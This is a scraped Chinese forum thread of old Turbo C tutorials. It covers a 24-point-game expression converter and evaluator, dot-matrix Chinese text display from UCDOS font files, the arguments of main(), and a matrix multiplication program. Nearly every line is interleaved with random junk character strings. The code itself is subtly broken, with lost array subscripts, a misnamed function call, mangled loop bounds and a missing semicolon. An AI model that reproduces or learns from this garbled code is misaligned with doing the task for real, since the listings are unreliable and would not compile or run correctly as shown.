% c* y0 x( `6 P3 ~# E! H6 k
& c, M" {! A& k" o, ?- s  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。% H( Y" s$ g4 E" g+ J

' t6 y; P6 H8 i0 s  下面给出转换和计算的具体实现程序——' S9 y$ Y% F$ n7 R2 @0 o
  i& u( ~) |! O% O4 D- s. {
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
( G: U4 e0 g, {, n" ~' e( Aint first(char c)6 e/ I# R0 I( v: ^7 S9 r
{ int p;/ S: a; ^8 l9 ?7 i: M) `
switch(c); W3 J8 F; V4 x4 Q. N
{ case '*': p=2; break;
9 e  @: p/ p# f5 X1 v; E6 |case '/': p=2; break;
% l( S$ K6 c/ Rcase '+': p=1; break;
8 y/ e" K$ {0 [1 R0 F$ U) `- r8 mcase '-': p=1; break;+ i) |; \( a2 l7 X$ A6 I2 ]9 N: w
case '(': p=0; break;8 U# ~% y/ f- ~; t0 S' o$ t0 _
case '=': p=-1; break;7 {# L5 I' W- P2 T. b( m
}# V2 W( k. b' K/ o
return(p);
6 ?* P9 p3 K6 F4 S2 C}: ?/ p, L: K1 |
/* 此函数实现中缀到后缀的转换 */' d3 b* Q) X* v& T# X+ g9 p
/* M的值宏定义为20 */
. Y3 x. R" n- \: D! P0 w, S& \/* sp[]为表达式数组 */
5 u5 j, M  a6 b% Aint mid_last()+ g+ q+ H, q. M, O  T4 V- H
{ int i=0,j=0; char c,sm[M];
( q7 r+ ^! t5 |/ v" pc=s[0]; sm[0]='='; top=0;
: L! y* E& @6 M6 Y, J& h7 owhile(c!='\0')* m* P) W) C% U4 ?6 }
{ if(islower(c)) sp[j++]=c;
+ x! B6 u9 Q7 `' ?' |% ]& Yelse switch(c)7 ?" i1 @" y0 s/ \+ s. W. N
{ case '+':
: N$ y7 f$ G9 B, e/ w! X( Ccase '-':% A1 T) ~$ k" t
case '*':
) T5 {/ W4 n* zcase '/': while(first(c)&lt;=first(sm[top]))4 B8 n4 p& j9 n8 X  I
sp[j++]=sm[top--];
/ w+ O% V, h2 p% N/ bsm[++top]=c; break;& |  o, E5 r  q9 A: p. Q" H
case '(': sm[++top]=c; break;
7 @' b: M  M7 `6 f$ Dcase ')': while(sm[top]!='(')
# D& ?3 J' ?; D) n1 q9 ]; \% usp[j++]=sm[top--];
$ ~! D9 W1 L1 w  etop--; break;" g1 G( X/ [- g# k: ?) Y
default :return(1);
+ `2 M; j  v9 i% I4 f}
4 c: Y; u, c" ^8 A0 v! Dc=s[++i];
( X  w1 _& Q2 O; _; S: Y* l}3 j& I9 G( l$ V8 r7 F
while(top&gt;0) sp[j++]=sm[top--];, y6 ?9 h3 }0 p3 I  L  ?; N
sp[j]='\0'; return(0);
* E8 v7 b( ^8 W- B( R* u: v, G! I* u}3 E$ i4 |- @  K' Y! m
/* 由后缀表达式来计算表达式的值 */: @; {4 U; Y& O# n, E; {) U
int calc()& i+ a6 }4 r- J
{ int i=0,sm[M],tr; char c;
0 V- `% P7 m) Y+ s  y4 ic=sp[0]; top=-1;
" _) `7 `0 ~7 a: |while(c!='\0'), P* I" U  s( I
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数," R1 @) P* N3 }4 i) l# G/ O7 r
这样才可以更方便的处理非一位数,
' E8 E* c; E! A2 L9 Sver数组中存放着这些字母所代替的数*/
, D( T$ P9 D7 j& A  {else switch(c)7 V% m' C& L* ]5 `$ S
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
% O& ]. ~0 M% i- ?case '-': tr=sm[top--]; sm[top]-=tr; break;
& ?! o* W% R0 K5 d* F1 dcase '*': tr=sm[top--]; sm[top]*=tr; break;' L8 ~1 h5 |# X
case '/': tr=sm[top--];sm[top]/=tr;break;
( H  O. p2 p( Y1 |7 P, Wdefault : return(1);
" `) q% O! G6 h- s/ `}
& G9 h+ ?0 I$ P  Z1 N7 |c=sp[++i];
# R1 f: M0 A% Q. \; p9 {5 {5 Y}3 m7 H8 b! a3 x$ a6 _4 h" s- V
if(top&gt;0) return(1);
, H; w- A0 j- ?& Velse { result=sm[top]; return(0); }
" ~- c) u7 Q' T; H7 W}% B* c7 [! R8 R# g. r
</FONT>$ }& E* T! H3 ?* c7 Z' W4 M0 ?; v
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
7 u1 y6 P& v- t2 Z
! W+ Y: h8 a! o1 i3 B% u  最后我总结了一下这其中容易出错的地方——
; u+ L  Y1 f: R7 k) Q% Y/ X3 x) S# L  K7 _# l
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。% v* ~6 ^0 r- c
3 h6 q$ \9 u/ Y! S
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
) o# z( B+ A6 f) e# q9 x7 R9 l; C3 k# g/ z3 |, ?  y( o- i; ~$ g
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 8 N( y+ ?" ~  s! B5 d6 L
$ J( D% T4 B$ T( ]
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
" E1 x9 `. W# m+ Q( Y1 f* H  ?8 Z$ O. t
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。. D% ^: J# J& t

4 h" T. @6 j! w# W4 U) m  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
  X# d- |6 Y1 i% u
6 c6 U' ?+ w+ \% O  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。; F& l6 D3 T6 i
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>2 v5 C) z" c2 G- [3 `! C
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
  A; l$ {: M0 e& n! T5 D  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
* ^( O: `6 M, I9 |$ W, g  汉字显示的第一步是打开字库文件。 . Y6 Z1 s5 w8 z$ ?) H
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。; y* p9 u0 p. f  I% u1 l
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
( w2 j3 ~0 Y7 G7 N; t{( s5 R8 D' I; k% d- Z6 Q
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
$ z3 o3 Y$ a* }8 P, V) a. xint rec,i1,i2,i3; /*z:space between;*/
) X5 r) @' i) j% C/ Rlong l; /*color:txt color*/
1 \, y! c) W8 O; vchar by[32]; /*p:HZ str*/+ n3 i: L, ~3 a6 U7 J
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
4 n# G& \7 \0 i1 G1 ^if(i&gt;0xa1)
: e0 [7 I% ]! x5 r0 k* lif(f==0){# w9 s; s: d1 W; U3 S. X4 y2 `
c1=(i-0xa1)&amp;0x07f;# p! W* Z2 Z: G: ?8 q) A
f=1;: }/ M7 N5 U8 N9 ]
}8 Y1 J' Z( r. q) w; A0 c2 U7 ?
else{
3 V  }- q: }' oc2=(i-0xa1)&amp;0x07f;
$ n/ I' |7 B$ e  P* @# J; }f=0;. C' j" l  I1 y
rec=c1*94+c2;
6 k8 D+ f$ f  X2 L& {l=rec*32L;
6 U! K2 `* f+ w8 Y" Glseek(handle,l,SEEK_SET);' \" H! D8 h8 }1 U
read(handle,by,32);
7 b4 U6 m' e, d4 z" s- ?for(i1=0;i1&lt;16;i1++)
0 L# y3 q9 x8 {* y8 m% l' |0 cfor(i2=0;i2&lt;2;i2++)2 B5 K1 w8 Z, E$ j7 q8 t! M5 v) y
for(i3=0;i3&lt;8;i3++)7 E2 }& h* b: F
if(GetBit(by[i1*2+i2],7-i3))
" P4 ?  o8 ?* r) v# s8 ^) _putpixel(x+i2*8+i3,y+i1,color);# C# h& y' M5 a
x=x+z+16;
: i3 d1 s# ]1 Z( H}, w2 L" z  K0 y
}0 L7 {1 c* B$ u, r/ g" ^5 n: Q
return(x);
$ ~; I/ U/ V; c  Y3 u+ D$ T  m( M}
7 Q3 k% g# Y, T+ a  F: Z3 ]函数GetBit定义如下:, \+ T+ L( a9 N7 ^
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
5 g6 }( r$ }5 Z1 M! I( X& q9 v* qint GetBit(unsigned char c,int n). {3 ^# k7 _. @, u7 v6 M  R( l% X
{
: p; s3 i# y) _/ o' L' ~return((c&gt;&gt;n)&amp;1);6 X7 v' C) N- P8 o7 X  |5 n4 t8 o& ~
}
# I. `8 n5 F0 e' o8 B# \汉字显示结束,应该关闭字库文件。
' l& L( p9 V2 ]2 ivoid CloseHz(void)
& v: S9 Y' s& K* E! ?{% S$ r+ M& D! [2 u0 q
close( handle );- C0 E. }2 q1 p1 N! }+ Y
}
5 A4 q; `6 w4 G& @* f+ [6 w#include "\Caic\Include\Hz.h"* D% g' f& r1 J/ ^
#include <GRAPHICS.H>
/ A$ x% _/ A- j#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
, ]* v2 ]% _6 V/ ~const char* HzStr = "苦丁香C语言辅助学习软件";
- w, J4 j" N( y+ J$ ?& ~- fvoid main(){
- S" Q# t: w( W  ]: \" bint gr=DETECT,gm;7 X7 m- r  g5 h; c: d
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");* }( L, c1 W6 {2 P
OpenHz( Hz16Path );  S' {$ X% \9 W  ~- o: d
Wrt16Hz(20,20,4,RED,HzStr);
/ c; K0 q1 n! MCloseHz();
3 M% @. G, w! B  fgetch();
1 G! o: c: h" J& l4 yclosegraph();
' Y% q% Q3 Y$ t: o6 o}显示24点阵及放大汉字
7 \5 W! |  i! T3 h' D  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
2 Q' O. m' `8 Y: G函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
+ c6 A1 Z% s8 Oint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)8 g' y* J. {( j
{
( r3 U! B: g1 h5 @+ ?9 Kunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/* u. \3 ]/ F9 l/ |; v8 k$ A$ n
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
+ {9 r4 G1 z1 `* l$ tlong l; /*color:汉字颜色*/
) u' I1 B  ^) `/ n& Nchar by[72]; /*m: x 方向的放大倍数*/' ~4 g  V0 R7 I( N7 R' p' ~- x0 w
/*n: y 方向的放大倍数*/
4 i+ V1 G" p& \, m, Hif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){5 s! l, G5 c! {' P5 j# l
if(i&gt;0xa1)
* Z6 ~" n9 z* X+ t. d& u2 iif(f==0){
5 l' d* v: o* x2 uc1=(i-0xa1)&amp;0x7f;8 S; z; R1 f+ R4 U
f=1;
& V$ }( ?, v# o, S* K, |6 s5 q}) F3 s! V. @0 ?7 h" G7 l
else{
7 Y, o; |% T. f6 g$ Z* W& b& Sc2=(i-0xa1)&amp;0x7f;
; ^- \3 C  y8 O# {4 Of=0;
( i* U" \  Z3 T7 P& Yrec=(c1-15)*94+c2;
% O6 l3 X/ q6 F, A2 ^/ Ml=rec*72L;3 G0 _  _0 z! Q
lseek(handle,l,SEEK_SET);
) f8 A/ R1 S! E) J8 M; ^  jread(handle,by,72);
# e# t5 b6 L% z: H1 Pfor(i1=0;i1&lt;24*m;i1=i1+m)) j* f0 @5 h9 |  k+ y$ i
for(i4=0;i4<M;I4++)9 [4 n! L8 @" p: N/ _* Q9 ^
for(i2=0;i2&lt;=2;i2++)
) b  U+ }: o( A- W$ `0 ?$ Lfor(i3=0;i3&lt;8;i3++)1 S- Y3 V/ u' N* w, T0 S
if(GetBit(by[i1/m*3+i2],7-i3))' r5 D9 `" D; O6 \/ j- v
for(i5=0;i5<N;I5++)* R, @. D: v" p
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
7 i3 R! l5 ^: c8 x7 b& p5 vx=x+24*m+z;- {) b4 }9 t5 w( j) J3 N/ `% }
}3 ?. [5 x3 W0 e* S
}0 p( A" Q- _- G3 b6 _. |$ t, V8 W# L3 P/ G
return(x);
, V1 y( s/ ~8 E# V} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"% V  s- e! U& v( X2 _
#include <GRAPHICS.H># R, }7 F/ ^0 C
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
  N6 Y* u* o# R1 q$ }8 J4 O3 Gconst char* HzStr = "苦丁香C语言辅助学习软件";
6 B+ \# O: G: }5 ovoid main(){
- B4 [6 k9 B8 Nint gr=DETECT,gm;0 }$ Z+ F& R+ J3 m. t. P6 A4 ^
initgraph(&amp;gr,gm,"\\Caic\\Bgi");' e; K7 s6 }2 S: Z0 A' U  w3 X$ s
OpenHz( Hz24Path );. a0 g5 _. o% H2 g
Wrt24Hz(20,20, /*先是在(x,y)*/0 A$ \5 Y7 E6 E9 D. h) R; |
4, /*汉字间的空格为4*/
! z2 g% R8 Z/ YRED, /*用红色显示*/
) ?2 H7 m/ L/ s3 E9 P2, /*x 方向放大2倍*/
, v7 D7 A, A& }% [2 \6 I9 n' x4, /*y 方向放大4倍*/8 z, Y: s8 r) x5 D2 L3 K$ m$ L
HzStr); /*显示字符串*/$ f) }* ]1 i3 I9 G
CloseHz();
# K) o; S2 @1 q6 g3 ?( {" l  ygetch();5 ^7 [! d* R$ R4 t% {' X4 N
closegraph();) b5 Q2 s2 Y+ y
}
3 d% u9 d) X* B</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
- C) L& R- d* N  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。4 Q, ]% [4 N. _2 h# A
1. main() 参数: l% a" @% `* @7 r6 |& f
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。9 ]# c5 l; ?% z+ R* D
  * argc: 整数,为传给main()的命令行参数个数。
6 v! F7 }: x: W! m  * argv: 字符串数组。, [. ~) L$ i% _: d
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;2 z% j3 t( Z9 |8 u5 y. P# w2 k
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
( r( N, c% {: e  C) e. p  ~2 z3 U...& ~6 T7 u" I7 n; o' ~' W
argv[argc]为NULL。
8 D6 M# ?" L5 C5 s9 V  I  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
( |! O) p2 D3 d) G( R5 |5 c7 g- K7 r值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
1 z. ]$ v. r# l. S#include&lt;stdio.h&gt;3 c: m7 `( e" F4 t
#include&lt;conio.h&gt;8 W& D6 Q# Y( t. C# K/ }2 K: R0 d) Z3 r" J
#define X 3, v" F/ E( ?/ J; Y! C" U
#define Y 3</P><>int a[X][Y];) M) Z/ k0 g- _; A
int b[X][Y];- f& F; Y+ Z/ j4 P( \+ M
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
: y9 P8 [- V, q9 n& g6 D* Fmain()
! O0 b+ Z9 K/ q/ Z5 a{& y0 G! {. A7 t2 ~$ s7 b* X
int i,j,temp;, m6 p  {' a5 t5 o
clrscr();
/ n0 F. r: s1 `( oprintf("lease input int matrix b[%d][%d]\n",X,Y);
1 f# L9 _$ U6 |' c% b1 _$ tfor(i=0;i&lt;Y;i++)7 y7 F4 i; D- Z9 ?9 Z9 J7 I7 _
for(j=0;j&lt;Y;j++){
4 y& s% S; u/ t* H5 Z- D/ lscanf("%d",&amp;temp);3 l8 J  X; Z  Z$ [% v) C' n/ E6 Q
b[j]=temp;
3 f( v$ {% R+ a1 O5 |: I# j2 N}$ X' U! J% v2 ^! K3 y* p
printf("lease input int matrix c[%d][%d]\n",X,Y);
, C- I+ G1 F5 O8 w# cfor(i=0;i&lt;X;i++)3 @1 s( u9 l$ q7 J: N
for(j=0;j&lt;Y;j++){, Q; l- K% x' h# G- u
scanf("%d",&amp;temp);
( B( B' ~3 o1 B: [4 Jc[j]=temp;
. ^% W% z5 ^9 d5 t) O}5 V, e. _+ ^; C8 L$ U1 M
matrix(b,c);6 j+ F  Q2 c7 S( Z! y: t
printf("Now print resource matrix b[%d][%d]=",X,Y);/ q* C" |/ f/ p1 {/ e9 ~
for(i=0;i&lt;X;i++){
% d: K, w8 ?2 L/ S* {printf("\n");
! |; ?* E, p$ E8 |# I) L7 \for(j=0;j&lt;Y;j++)! }4 k# y- W( [" U$ Y
printf("%d ",b[j]);/ b& n3 Z0 U* j8 {: ^
}( M; }1 n( H8 [( w
printf("\n");
. S% z9 v! O4 c+ t) e! Pprintf("Now print resource matrix c[%d][%d]=",X,Y);! a9 W6 K8 h3 n  S, v) [6 H
for(i=0;i&lt;X;i++){
, y: t. x8 J2 z3 j, K1 R( p% \printf("\n");
: d) g: [5 {& E8 F' D0 q' [' V6 Xfor(j=0;j&lt;Y;j++)! G: o- r7 ?: ]: X
printf("%d ",c[j]);
' C  K" h  ?7 p, E}; u1 u2 ?) u* X
printf("\n");
0 @1 J$ B& f+ b8 @8 eprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
' g: l# d7 j8 I' a& G# S) D5 ]1 o; wfor(i=0;i&lt;X;i++){' v& R8 U# Y& b9 v
printf("\n");
+ s7 }! ~& a$ @: T2 cfor(j=0;j&lt;Y;j++)
4 O/ i1 t/ f0 G2 M, A0 M+ ]printf("%d ",a[j]);
0 q7 m8 E4 ^& z- U}
/ S3 w. e/ F% p7 \getch();
) `) D8 k6 k  I- ?& ureturn 0;
% S+ I5 Q# g- _% Z}7 j3 l+ A9 ~, _& `: r3 l
/********************************************************************/6 h. j9 x( O) W. \) H) [
void matrix(int b[][X],int c[][Y])
; [+ Z' L. U, f/ P{' @. `% h7 {5 w) M$ g- u
int i,j,k,temp;
5 v) d8 T  `; Ofor(i=0;i&lt;X;i++)9 A( F' o* @+ H" ?6 x7 C  j
for(j=0;j&lt;Y;j++){
) m8 E' m! V# [7 b4 E1 e- e; Bfor(k=0;k&lt;Y;k++)/ u( n- t) B  r# Q0 H
a[j]+=b[k]*c[k][j];
$ k4 q6 s) B1 k, z/ i9 ~! o}+ D8 z2 e7 i8 R* C
}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-7-20 03:45 , Processed in 0.647917 second(s), 90 queries .

回顶部